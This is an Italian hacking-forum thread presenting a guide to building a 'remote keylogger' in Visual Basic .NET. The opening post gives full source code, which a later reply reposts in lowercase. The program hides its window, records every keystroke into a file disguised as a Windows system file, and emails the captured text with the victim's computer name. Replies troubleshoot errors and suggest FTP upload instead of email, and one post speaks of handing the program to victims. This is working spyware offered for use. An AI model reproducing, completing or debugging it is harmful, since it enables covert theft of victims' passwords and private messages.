Guida Come creare un Keylogger REMOTO

[Vips-Devil]

@*Registrati per vedere i link, basta cliccare qui Mi dici se oltre alla stringa dove sta scritto 500 devo modificare altro ?
--------------- AGGIUNTA AL POST ---------------
@*Registrati per vedere i link, basta cliccare qui Oi, ho fatto il keylogger, ho messo 10 parole, mi da errore, dopo 10 parole.. cioè per l'invio credo.. guarda



Aiutami

[Jeckoz]

Evitate messaggi inutili, grazie.

[damydamino]

non funziona

[DyE]

@jacopo007 io faccio tutto quello che c'è scritto sulla guida, però ho cambiato i caratteri da scrivere per l'invio mail ho messo 10 then io lo volevo provare localmente ho cliccato due volte scrivo 10 caratteri ma sulla email non mi esce niente sai il perchè ? @jakub1996

[DoppiaZZ]

Salve!
Questa mattina volevo creare un keylogger remoto visto che non tutti funzionano..allora ho dato il via alla mia immaginazione .
In questa guida vi insegnerò come crearlo!Bene iniziamo.
1)Apriamo Visual Basic.()--->Nuovo progetto---->diamo il nome che volete--->Eccoci alla form.
2)Inseriamo i seguenti elementi dalla barra!
1 Timer
1 TextBox
4 Label
Ora vi spiego come ho ideato questo keylogger!
Ho iniziato a creare un keylogger in locale poi ho pensato di farlo remoto inviando le email contenenti il testo digitato...
Quindi ho fatto che quando chi scrive registra i tasti in un file txt il keylogger inserisce i dati anche nella textbox...
Poi quando la textbox è arrivata a un certo numero di lettere allora invia l'email...e quando l'ha inviata si svuota la textbox e si fa sempre il giro...
Ai label date questi titoli...
label1.text=Email mandate
label2.text=0
label3.text=lettere
label4.text=0
Ora passiamo ai codici.
Cliccate sul for, cancellate tutto e incollate questo.

Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
    Public rip As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Visible = False
        For i As Integer = 3 To 255
            Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
            Dim sw As StreamWriter
            Dim ch As String
            If GetAsyncKeyState(i) Then
                ch = DirectCast(i, System.Windows.Forms.Keys).ToString
                If ch.Length > 1 Then
                    ch = "{" + ch + "}"
                End If
                If fi.Exists = False Then
                    sw = fi.CreateText()
                Else
                    sw = fi.AppendText()
                End If
                sw.Write(ch)
                sw.Flush()
                sw.Close()
                TextBox1.Text = TextBox1.Text + ch
                If TextBox1.TextLength = 500 Then
                    Dim smtpServer As New SmtpClient()
                    Dim mail As New MailMessage()
                    smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
                    smtpServer.Port = 587
                    smtpServer.Host = "smtp.live.com"
                    smtpServer.EnableSsl = True
                    mail = New MailMessage()
                    mail.From = New MailAddress("TUA EMAIL")
                    mail.To.Add("TUA EMAIL")
                    mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
                    mail.Body = TextBox1.Text
                    smtpServer.Send(mail)
                    rip = +1
                    Label4.Text = rip
textbox1.text = ""
                End If
            End If
        Next
        Label1.Text = TextBox1.TextLength
    End Sub
End Class

FONTI ME

Ma una volta finito il keylogger basta darlo in giro e appena la vittima preme i tasti sulla tastiera il timer si attiva e dopo un certo numero di lettere invia mail?!?!?

mi da un errore nella stringa smtpServer.Send(mail)

[KingPorceddu]

salve a tutti a me durante la compilazione mi da ben 14 errori tra cui label1 non dichiarato label 4 non dichiarato ecc...come mai?

[Jakub1996]

salve a tutti a me durante la compilazione mi da ben 14 errori tra cui label1 non dichiarato label 4 non dichiarato ecc...come mai?

forse perchè non hai inserito sul form i label?

[Jacopo007]

Cioè nemmeno copiare alcuni sono capaci D:
Se avete problemi non intasate qua, aggiungetemi su skype : jacox.best1

[KingPorceddu]

jakub li ho messi i label nel form e mi dice sempre così

[Jakub1996]

jakub li ho messi i label nel form e mi dice sempre così

Non so se hai letto il commento sopra di te, ma l'autore è Jacopo007, e se hai problemi contattalo su skype: jacox.best1

[PonyArrossato]

a me non da nessun errore , però non mi arriva niente :\

[catadrp]

salve!
Questa mattina volevo creare un keylogger remoto visto che non tutti funzionano..allora ho dato il via alla mia immaginazione .
In questa guida vi insegnerò come crearlo!bene iniziamo.
1)apriamo visual basic.(|=o)--->nuovo progetto---->diamo il nome che volete--->eccoci alla form.
2)inseriamo i seguenti elementi dalla barra!
1 timer
1 textbox
4 label
ora vi spiego come ho ideato questo keylogger!
Ho iniziato a creare un keylogger in locale poi ho pensato di farlo remoto inviando le email contenenti il testo digitato...
Quindi ho fatto che quando chi scrive registra i tasti in un file txt il keylogger inserisce i dati anche nella textbox...
Poi quando la textbox è arrivata a un certo numero di lettere allora invia l'email...e quando l'ha inviata si svuota la textbox e si fa sempre il giro...
ai label date questi titoli...
Label1.text=email mandate
label2.text=0
label3.text=lettere
label4.text=0
ora passiamo ai codici.
Cliccate sul for, cancellate tutto e incollate questo.

imports system.io
imports system.net.mail
public class taskhost
    private declare function getasynckeystate lib "user32" (byval vkey as integer) as integer
    public rip as integer
    private sub form1_load(byval sender as system.object, byval e as system.eventargs) handles mybase.load
        me.visible = false
        timer1.start()
    end sub
    private sub timer1_tick(byval sender as system.object, byval e as system.eventargs) handles timer1.tick
        me.visible = false
        for i as integer = 3 to 255
            dim fi as fileinfo = new fileinfo("c:\windows\driversys.txt")
            dim sw as streamwriter
            dim ch as string
            if getasynckeystate(i) then
                ch = directcast(i, system.windows.forms.keys).tostring
                if ch.length > 1 then
                    ch = "{" + ch + "}"
                end if
                if fi.exists = false then
                    sw = fi.createtext()
                else
                    sw = fi.appendtext()
                end if
                sw.write(ch)
                sw.flush()
                sw.close()
                textbox1.text = textbox1.text + ch
                if textbox1.textlength = 500 then
                    dim smtpserver as new smtpclient()
                    dim mail as new mailmessage()
                    smtpserver.credentials = new net.networkcredential("tua email", "password")
                    smtpserver.port = 587
                    smtpserver.host = "smtp.live.com"
                    smtpserver.enablessl = true
                    mail = new mailmessage()
                    mail.from = new mailaddress("tua email")
                    mail.to.add("tua email")
                    mail.subject = "keyloggerremoto" & "" & "vittima:" & my.computer.name & "," & "email n:" & label4.text
                    mail.body = textbox1.text
                    smtpserver.send(mail)
                    rip = +1
                    label4.text = rip
textbox1.text = ""
                end if
            end if
        next
        label1.text = textbox1.textlength
    end sub
end class

fonti me

scs poi mettere dowload basik e ql skreen geaz

[L.orenzo]

le mail non le invia perchè il dovete mettere un smtp adatto alla vostra connessione, vi consiglio ifatti per un keylogger remoto di sfruttare il caricamento ftp e non l'invio di email dato che se l'smtp non è quello della "vittima" non funzionerà e non so se si può impostare con una sorta si scelta automatica del smtp.


Usate FTP per vedere i risultati del keylogger.

[Garu]

scs poi mettere dowload basik e ql skreen geaz

Ti ricordo che siamo in un forum italiano.

Io direi che sarebbe l'ora di chiuderlo questo thread...

[hackerboy]

@Jeckoz , Visto che è una Guida non dovrebbe andare nella sezione "Guide & Tutorial" ?
PS: Bel Keylogger, Complimenti
--------------- AGGIUNTA AL POST ---------------

Ti ricordo che siamo in un forum italiano.

Io direi che sarebbe l'ora di chiuderlo questo thread...

Chiuderlo penso di no Dato che è comunque un Buon Keylogger.